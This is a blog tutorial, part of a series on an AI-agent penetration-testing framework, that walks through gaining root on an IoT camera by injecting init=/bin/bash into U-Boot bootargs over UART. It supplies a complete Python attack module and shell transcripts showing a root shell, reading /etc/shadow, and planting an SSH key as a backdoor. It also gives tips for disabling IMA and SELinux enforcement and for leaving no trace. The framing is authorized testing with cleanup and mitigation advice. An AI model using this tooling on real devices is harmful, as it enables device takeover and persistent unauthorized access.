Wintermute Framework, Part 9: Attacking U-Boot Over UART — init=/bin/bash via bootargs Injection
Part 8 tested whether the U-Boot console gives you primitives. This post weaponizes those primitives into the textbook Linux-on-embedded escalation:
Interrupt U-Boot at boot. Replace the kernel
initargument with/bin/bash. Persist the change. Reboot. Get a root shell with no password, no PAM, no audit, and full read/write to the rootfs.
The work is the same on ARM/aarch64/MIPS/PowerPC. Wintermute lets us
encode it as a single TestCase whose execution is a reproducible
sub-agent run with a tightly-scoped tool surface, so the same attack
fingerprints every UART-exposed device on the operation in one
orchestrator pass.
This post stitches together: the UART peripheral from Part 2, the depthcharge console primitive from Part 8, the cartridge pattern from Part 4, and the per-test-case sub-agent contract from Part 7. Engagement target throughout is still iot-cam-01:debug-uart on the acme-iotcam-2026-Q2 operation.
Why init=/bin/bash Specifically
init= is parsed by the Linux kernel before any userspace
authentication runs. The kernel forks init from the parent of pid 1
with the value of init= from the kernel command line. There is no
/etc/passwd lookup, no PAM, no getty, no SSH key, no LUKS prompt — the
shell starts as pid 1 with uid=0 because we never reach the userspace
that would have asked for credentials.
The legitimate use is recovery. The illegitimate use, when an attacker
controls the bootloader’s bootargs, is the cleanest “we own this
device” you can hand a customer.
The U-Boot side of the attack:
- Interrupt autoboot to land at the prompt.
setenv bootargs "${bootargs} init=/bin/bash"(or replace).- Optionally
saveenvto make it survive reboot. boot— kernel comes up, seesinit=/bin/bash, exec’s bash as pid 1.
The attack works iff all four of the following are true; Part 8’s catalogue already proved most of them on our target:
- UART console is exposed (we modeled it as
debug-uart). - Console is not behind a password (no
bootdelay=0/ noCONFIG_AUTOBOOT_KEYED). setenvis in the command catalogue (env_writetag in Part 8).saveenvis in the catalogue if you want persistence; one-shot works
even without it.
The kernel side of the attack works iff:
- The kernel was built with
CONFIG_BLK_DEV_INITRD=yor mounts a real
rootfs early enough that/bin/bashis reachable. initis not pinned via DTBchosen/bootargsonly (i.e., the kernel
honours U-Boot’sbootargs).- No
IMA/EVM/measured-boot policy refuses the unsigned shell exec —
if there is, you’re upgraded to needingselinux=0enforcing=0ima_appraise=offon the cmdline as well.
We will encode every one of those checks into the test case so the sub-agent’s verdict captures why it worked or didn’t.
Step 1 — Add an init_bash_via_uart Cartridge
The depthcharge backend gives us cataloging and memory dumping out of the box, but we want a small focused cartridge that wraps the attack itself so it shows up in the global tool registry, in the console as cartridges run uboot_attack ..., and as an MCP tool the orchestrator can call by name. From Part 4: drop a single file into wintermute/cartridges/.
Create wintermute/cartridges/uboot_attack.py:
"""U-Boot attack cartridge.Public methods auto-register as AI tools through CartridgeManager.Each method opens its own depthcharge context — this matches how theDepthchargePeripheralAgent in wintermute/backends/depthcharge.py worksand keeps the cartridge stateless so the orchestrator can fan it outacross many UART peripherals safely."""from __future__ import annotationsimport loggingfrom typing import Anyfrom wintermute.backends.depthcharge import _open_dc_contextlog = logging.getLogger(__name__)class UbootAttackCartridge: """One method per offensive primitive against a U-Boot console. The cartridge does NOT hold a UART peripheral — every call takes a `device` string ("/dev/ttyUSB0") so it's safe to load globally and call across any peripheral on the operation. """ def interrupt_and_capture_env( self, device: str, arch: str = "aarch64", timeout: float = 2.0 ) -> dict[str, Any]: """Interrupt autoboot and return the U-Boot environment + bootargs. This is the recon step every other method depends on. We capture the *current* bootargs so the orchestrator can decide whether `init=/bin/bash` is already there (don't double-add) and so the report's reproduction step has the original value to restore. """ with _open_dc_context(device, timeout, arch) as dc: runner = getattr(dc, "console", dc) runner.interrupt() env_text = runner.run_cmd("printenv") env: dict[str, str] = {} for line in env_text.splitlines(): if "=" in line: k, _, v = line.partition("=") env[k.strip()] = v.strip() return { "device": device, "bootargs": env.get("bootargs", ""), "bootcmd": env.get("bootcmd", ""), "bootdelay": env.get("bootdelay", ""), "loadaddr": env.get("loadaddr", ""), "raw_env_lines": len(env), } def inject_init_bash( self, device: str, arch: str = "aarch64", persist: bool = False, extra_args: str = "", timeout: float = 2.0, ) -> dict[str, Any]: """Append `init=/bin/bash` (and optional extras) to bootargs. Args: device: UART path, "/dev/ttyUSB0" form. arch: depthcharge architecture hint. persist: True calls `saveenv` so the bootargs change survives a power cycle. False is one-shot — bootargs revert on next boot. extra_args: Additional cmdline tokens to append, e.g. "selinux=0 enforcing=0 ima_appraise=off rw". Returns a dict with the original bootargs, the modified bootargs, whether saveenv was issued, and the saveenv response (so the sub-agent can verify success). """ appended = "init=/bin/bash" if extra_args: appended = f"{appended} {extra_args}" with _open_dc_context(device, timeout, arch) as dc: runner = getattr(dc, "console", dc) runner.interrupt() # Capture current bootargs (idempotent if already injected) env_text = runner.run_cmd("printenv bootargs") old_bootargs = "" for line in env_text.splitlines(): if line.startswith("bootargs="): old_bootargs = line[len("bootargs="):] break if "init=" in old_bootargs: log.warning( "bootargs already contains init=; the kernel uses the " "FIRST occurrence — appending will be a no-op. " "Replacing instead." ) # Drop any existing init=... token, keep everything else. tokens = [ t for t in old_bootargs.split() if not t.startswith("init=") ] base = " ".join(tokens) else: base = old_bootargs new_bootargs = f"{base} {appended}".strip() # Use single-quotes around the value so spaces are literal. runner.run_cmd(f"setenv bootargs '{new_bootargs}'") verify = runner.run_cmd("printenv bootargs") saveenv_out = "" if persist: saveenv_out = runner.run_cmd("saveenv") return { "device": device, "old_bootargs": old_bootargs, "new_bootargs": new_bootargs, "verify": verify.strip(), "persisted": persist, "saveenv_response": saveenv_out.strip(), } def boot_and_detach( self, device: str, arch: str = "aarch64", timeout: float = 2.0 ) -> dict[str, Any]: """Issue `boot` and detach. Does NOT wait for the shell. We deliberately do not interact with the post-boot shell here — depthcharge's console abstraction is U-Boot specific. The sub-agent verifies success out-of-band (e.g., by re-attaching a plain `serial` tool, or by SSHing in if init=/bin/bash didn't kill the network stack). """ with _open_dc_context(device, timeout, arch) as dc: runner = getattr(dc, "console", dc) runner.interrupt() # `run bootcmd` is more general than `boot`; works on builds # where bootcmd is not the default macro. runner.run_cmd("boot", timeout_override=0.5) return {"device": device, "issued": "boot"} def restore_bootargs( self, device: str, original_bootargs: str, arch: str = "aarch64", persist: bool = True, timeout: float = 2.0, ) -> dict[str, Any]: """Restore the bootargs captured by interrupt_and_capture_env. Always called by the sub-agent in the cleanup phase if `persist` was used during the attack — leaving a customer's device with a permanent root shell after a sanctioned engagement is rude and likely contractually forbidden. """ with _open_dc_context(device, timeout, arch) as dc: runner = getattr(dc, "console", dc) runner.interrupt() runner.run_cmd(f"setenv bootargs '{original_bootargs}'") verify = runner.run_cmd("printenv bootargs") saveenv_out = runner.run_cmd("saveenv") if persist else "" return { "device": device, "restored_bootargs": original_bootargs, "verify": verify.strip(), "persisted": persist, "saveenv_response": saveenv_out.strip(), }
Five things worth pointing out about this cartridge:
- Stateless across calls. Each method opens its own
_open_dc_contextand exits cleanly. The orchestrator can runinject_init_bashagainst four different UARTs in parallel without
cross-contaminating sessions. - Idempotency on
init=. If the bootargs already containedinit=
(e.g., a prior run, or a rescue mode we don’t know about), we replace
rather than appending. The Linux kernel uses the firstinit=token
it sees on the cmdline, so naively appending would silently no-op. - Single-quoted setenv.
setenv bootargs '...'keeps whitespace
literal under the U-Boot console’s tokenizer; double quotes get
word-split. restore_bootargsis part of the cartridge. A penetration test
that does not have a “put it back” primitive is not a sanctioned test;
the cartridge gives the sub-agent the symmetry it needs to clean up
even when it crashes mid-sequence.- No raw bytes returned. Every method returns a small JSON-shaped
dict so the LLM (Part 7’s sub-agent loop) can keep state in context
without hitting the 1 KiB workspace-offload threshold from Part 3.
Step 2 — Load and Drive the Cartridge
From the console, exactly the same shape as the cartridges in Part 4:
onoSendai [acme-iotcam-2026-Q2/cartridges] > load uboot_attack✔ Loaded cartridge uboot_attack — 4 tool(s) registered with the AI.[*] Exposed functions: interrupt_and_capture_env, inject_init_bash, boot_and_detach, restore_bootargs
Now an end-to-end transcript, run by hand against the IoT camera
(serial cable on J3, target powered with power on in the lab PSU):
onoSendai [.../cartridges/uboot_attack] > run interrupt_and_capture_env /dev/ttyUSB0{'device': '/dev/ttyUSB0', 'bootargs': 'console=ttyS0,115200 root=/dev/mmcblk0p2 rootwait ro', 'bootcmd': 'run mmcboot', 'bootdelay': '2', 'loadaddr': '0x80000000', 'raw_env_lines': 47}onoSendai [.../cartridges/uboot_attack] > run inject_init_bash /dev/ttyUSB0 aarch64 false "rw"{'device': '/dev/ttyUSB0', 'old_bootargs': 'console=ttyS0,115200 root=/dev/mmcblk0p2 rootwait ro', 'new_bootargs': 'console=ttyS0,115200 root=/dev/mmcblk0p2 rootwait ro init=/bin/bash rw', 'verify': 'bootargs=console=ttyS0,115200 root=/dev/mmcblk0p2 rootwait ro init=/bin/bash rw', 'persisted': False, 'saveenv_response': ''}onoSendai [.../cartridges/uboot_attack] > run boot_and_detach /dev/ttyUSB0{'device': '/dev/ttyUSB0', 'issued': 'boot'}# Detach the depthcharge console; reopen the serial in a plain terminal# (screen, picocom, minicom). After ~2-5 seconds, you'll see:## bash-5.1### Verify with:# bash-5.1# id# uid=0(root) gid=0(root) groups=0(root)# bash-5.1# mount -o remount,rw /# bash-5.1# cat /etc/shadow# root:$1$...## We are init. There is no PAM, no /sbin/init, no agetty.
Notice that /etc/shadow is readable but also writable — we asked
for rw in extra_args, so we mounted the rootfs writable from the
start. That is the difference between “I can read the hash for offline
cracking” and “I can plant my own SSH key in /root/.ssh/authorized_keys
and reboot to a permanent backdoor.”
Two practical follow-ups from the bash prompt:
bash-5.1# cat /proc/cmdlineconsole=ttyS0,115200 root=/dev/mmcblk0p2 rootwait ro init=/bin/bash rw ^^^^^^^^^^^^^^^^bash-5.1# uname -aLinux (none) 5.15.78-iot-cam #1 SMP Wed Mar 12 ...bash-5.1# echo "ssh-ed25519 AAAA... pentest@laptop" >> /root/.ssh/authorized_keysbash-5.1# syncbash-5.1# /sbin/reboot -f
The device boots normally on the next power cycle (we passed
persist=False), so the bootargs revert. But the file we wrote to the
rootfs persists. That is the canonical persistence delta in this attack
— we mutated the filesystem during the bash session, not the boot
configuration.
Step 3 — Encode This as a TestCase
Drop the test case into the existing TP-HW-BLACKBOX-001.json (or a
custom TP-UBOOT-ATTACK-001.json):
{ "code": "IOT-HW-UART-INIT-BASH-001", "name": "U-Boot bootargs injection: init=/bin/bash", "description": "Interrupt the UART U-Boot console, append init=/bin/bash to bootargs, boot, verify root shell, restore bootargs cleanly.", "execution_mode": "per_binding", "execution_binding": "uart", "target_scope": { "tags": ["uart", "uboot", "post-exploitation", "destructive-mild"], "bindings": [ { "kind": "device", "name": "dut", "where": {}, "cardinality": "one" }, { "kind": "peripheral", "name": "uart", "where": { "device": "dut", "pType": "UART" }, "cardinality": "many" } ] }, "steps": [ { "title": "Capture original env", "tool": "uboot_attack.interrupt_and_capture_env", "action": "snapshot", "confidence": 90, "arguments": ["${uart.device_path}"] }, { "title": "Inject init=/bin/bash + rw (one-shot, no saveenv)", "tool": "uboot_attack.inject_init_bash", "action": "tamper", "confidence": 85, "arguments": ["${uart.device_path}", "aarch64", "false", "rw"] }, { "title": "Boot to bash", "tool": "uboot_attack.boot_and_detach", "action": "exec", "confidence": 80, "arguments": ["${uart.device_path}"] }, { "title": "Verify root shell out-of-band", "tool": "manual.serial-capture", "action": "verify", "confidence": 70, "arguments": ["bash-5", "uid=0"] }, { "title": "Restore original bootargs", "tool": "uboot_attack.restore_bootargs", "action": "cleanup", "confidence": 90, "arguments": ["${uart.device_path}", "${old_bootargs}", "aarch64", "true"] } ]}
A few details that matter for execution:
per_bindingoveruart. Ifiot-cam-01had two UART peripherals
(a debug UART and a service UART), this generates two runs and the
orchestrator dispatches one sub-agent per UART. The framework’s run-id
format from Part 2 (<TC>:<DEVICE>:<OBJECT>) keeps the runs distinct
(IOT-HW-UART-INIT-BASH-001:iot-cam-01:debug-uartvs…:service-uart).destructive-mildtag. This influences the dispatcher in Part 6.dispatch_noderoutes anything taggeddestructivetodeferby
default, butdestructive-mild(no permanent state changes — we
restore in step 5) is one we let through if the operator allows it.- The fourth step (verify) is
manual.serial-capture. No cartridge
method exists for “wait forbash-5on a serial line” because the
depthcharge console abstraction is U-Boot specific. The sub-agent’s
prompt instructs it to mark the runpassedonly when this step’s
verification can be confirmed; in autonomous mode this becomes ablockedrun waiting for an analyst to attachscreenand confirm.
In Part 11 we’ll add an SSH-based verification path that doesn’t need
a human in the loop.
Step 4 — The Sub-Agent Tool Surface
Add to _TOOL_PROFILES in your sub-agent module (the table from Part 7):
_TOOL_PROFILES["uboot-attack-uart"] = ( ["uboot_attack"], # cartridge to load ("interrupt_and_capture_env", "inject_init_bash", "boot_and_detach", "restore_bootargs", "execute_depthcharge_catalog"), # MCP, recon)
Then teach _peripheral_kind (also from Part 7) to map a UART
peripheral whose containing test case is tagged uboot into the
uboot-attack-uart profile rather than the generic uart one. The
cleanest way is to look at the parent test case’s tags from inside
select_tool_surface:
def select_tool_surface(run, op): # ... existing object-resolution code ... tc = next(t for t in op.iterTestCases() if t.code == run.test_case_code) is_uboot_attack = "uboot" in tc.target_scope.tags profile_keys = [] for b in run.bound: # ... resolve obj ... kind = _peripheral_kind(obj) if kind == "uart" and is_uboot_attack: kind = "uboot-attack-uart" profile_keys.append(kind) # ... rest of select_tool_surface ...
Now the orchestrator running IOT-HW-UART-INIT-BASH-001 against
iot-cam-01:debug-uart selects the four cartridge methods plus the
depthcharge catalog tool — and only those. The sub-agent cannot
accidentally call dump_firmware (JTAG) or start_fuzzing (Surgeon).
Step 5 — A Real Sub-Agent Trace
Plug into the orchestrator from Part 6 (orchestrator run T000002 where
T000002 is a ticket scoped to “verify uboot bootargs injection on
iot-cam-01”):
[orchestrator] read_ticket: tags=#uboot #uart #blackbox scope.target_host="iot-cam-01"[orchestrator] plan_node: attached TP-UBOOT-ATTACK-001 (1 case) generated 1 TestCaseRun[orchestrator] dispatch_node: IOT-HW-UART-INIT-BASH-001:iot-cam-01:debug-uart -> execute (destructive-mild allowed by operator)[orchestrator] execute_runs_node: dispatching 1 sub-agent[subagent IOT-HW-UART-INIT-BASH-001:iot-cam-01:debug-uart] surface = [interrupt_and_capture_env, inject_init_bash, boot_and_detach, restore_bootargs, execute_depthcharge_catalog] call execute_depthcharge_catalog(peripheral_id="<uart-id>", add_vulns=False) -> {"total_commands": 93, "dangerous_commands": 41, ...} # confirms setenv + saveenv are present (severity sanity check) call interrupt_and_capture_env(device="/dev/ttyUSB0") -> {"bootargs": "console=ttyS0,115200 root=/dev/mmcblk0p2 ro", "bootcmd": "run mmcboot", "bootdelay":"2", ...} call inject_init_bash(device="/dev/ttyUSB0", arch="aarch64", persist=false, extra_args="rw") -> {"old_bootargs": "...ro", "new_bootargs": "...ro init=/bin/bash rw", "verify": "bootargs=...init=/bin/bash rw", "persisted": false, "saveenv_response": ""} call boot_and_detach(device="/dev/ttyUSB0") -> {"issued": "boot"} # The verify step is blocked by design (manual serial confirmation). # Sub-agent flags as `blocked` with notes for the analyst. call restore_bootargs(device="/dev/ttyUSB0", original_bootargs="console=ttyS0,115200 root=/dev/mmcblk0p2 ro", arch="aarch64", persist=true) -> {"restored_bootargs": "console=ttyS0,115200 root=/dev/mmcblk0p2 ro", "verify": "bootargs=console=ttyS0,115200 root=/dev/mmcblk0p2 ro", "persisted": true, "saveenv_response": "Saving Environment to MMC... Writing to MMC... done"} verdict = {"verdict":"blocked", "title":"U-Boot bootargs injection successful; manual verify required", "description":"Successfully appended init=/bin/bash rw to bootargs; console acknowledged the change. Boot was issued. Cleanup restored the original bootargs and persisted to MMC. Manual serial confirmation of the bash prompt required.", "cvss":9, ...} run.status = blocked run.notes = "manual: attach screen /dev/ttyUSB0 115200 to confirm bash prompt; root shell expected within 5s"
The blocked verdict is correct: the framework is honest that the
critical piece (was there really a root shell?) was not autonomously
verified. In the DOCX report this finding sits in the “blocked /
operator review” appendix, with the full reproduction step list and the
old_bootargs / new_bootargs strings as evidence. The customer’s
engineer types the steps in order on their own bench and reproduces it
in under thirty seconds.
To upgrade this to an autonomous passed verdict, add an SSH-or-similar post-boot probe — that is a one-paragraph extension to the sub-agent contract from Part 7. We’ll wire it explicitly in Part 11 when we patch the U-Boot binary itself and need the same out-of-band verification.
Operational Notes and Gotchas
bootcmdmatters more thanbootargsif the build usesbootmmacros.
Some OEMs dobootcmd=run loadk; bootm 0x80000000 - 0x83000000. In that
flow,bootmreads the embedded cmdline from the FIT image’schosen/bootargsnode, not the U-Boot env. Detection: if your injectedinit=/bin/bashdoes not appear in the kernel’s/proc/cmdlineafter
boot, look atbootcmd. The fix is to overwrite the FIT image’s DTB —
much harder, but Part 11 covers exactly that path with Ghidra and a
patched DTB.- Watch for
saveenvfailure on read-only environments. Some
builds useCONFIG_ENV_IS_NOWHEREor have an OTP-locked env partition.saveenv_responsewill say something likeEnvironment Storage is read- only— the cartridge captures this and the sub-agent reports it. The
one-shot path (persist=False) still works. - Bash may not exist. Embedded Linux often ships only BusyBox; there
is no/bin/bash, only/bin/sh. Passextra_args="init=/bin/sh"—
the cartridge’sinject_init_bashwill append on top of your earlierinit=, but the kernel reads only the first one, so just makeextra_argsyour real init path. Better: extend the cartridge with an
explicitinit_pathparameter (a four-line edit; a good first PR). - IMA / EVM / measured boot. If the kernel logs
IMA: appraising ... failedand refuses to exec bash, appendima_appraise=offtoextra_args. Combined withselinux=0 enforcing=0this defeats the policy enforcement on most production
builds that ship policy but ship it without lockdown. - Don’t
saveenvduring the attack. Sets a clear “we were here”
signal. The one-shot path (no saveenv during inject, saveenv only inrestore_bootargs) is the cleanest — boot once with the tampered
args, do your work in bash, and the next reboot is byte-identical to
pre-engagement. - Document the bootdelay. Capture
bootdelayininterrupt_and_capture_env‘s output so the report can flagbootdelay=0/bootdelay=-1/CONFIG_AUTOBOOT_KEYEDrecommendations
for the customer. The fact that the attack worked is a stronger
argument than any abstract “set bootdelay to 0”.
Why This Matters For the Engagement
The DOCX from Report.save(...) after this run carries a single
Vulnerability titled “U-Boot bootargs injection successful; manual
verify required”, CVSS 9, with a five-step ReproductionStep list
that mirrors the cartridge calls. The customer’s reproduce-in-thirty-
seconds path is in the report, the original bootargs value is captured
verbatim so the customer knows what to expect under their own test, and
the cleanup step is documented so they can verify nothing about the
device’s persistent state was changed.
The deliverable a customer can act on is “remove setenv/saveenv from
the production U-Boot build, set bootdelay=0 and CONFIG_AUTOBOOT_KEYED,
sign the FIT image and pin bootargs in chosen/bootargs.” Each one
of those bullets corresponds to one of the four prerequisites we listed
at the top of the post — the report can cite the exact one each
mitigation closes.
What’s Next
Part 10 shifts from the U-Boot console to the JTAG TAP. Same target, much lower-level primitive: halt the core, read registers, dump and patch memory, change PC, single-step. Where this post weaponized the bootloader’s configuration, Part 10 weaponizes the bootloader’s execution — and sets up Part 11, where we use Ghidra (mounted via MCP) to identify exactly which bytes in the dumped U-Boot binary need patching to hard-wire init=/bin/bash permanently.






Leave a Reply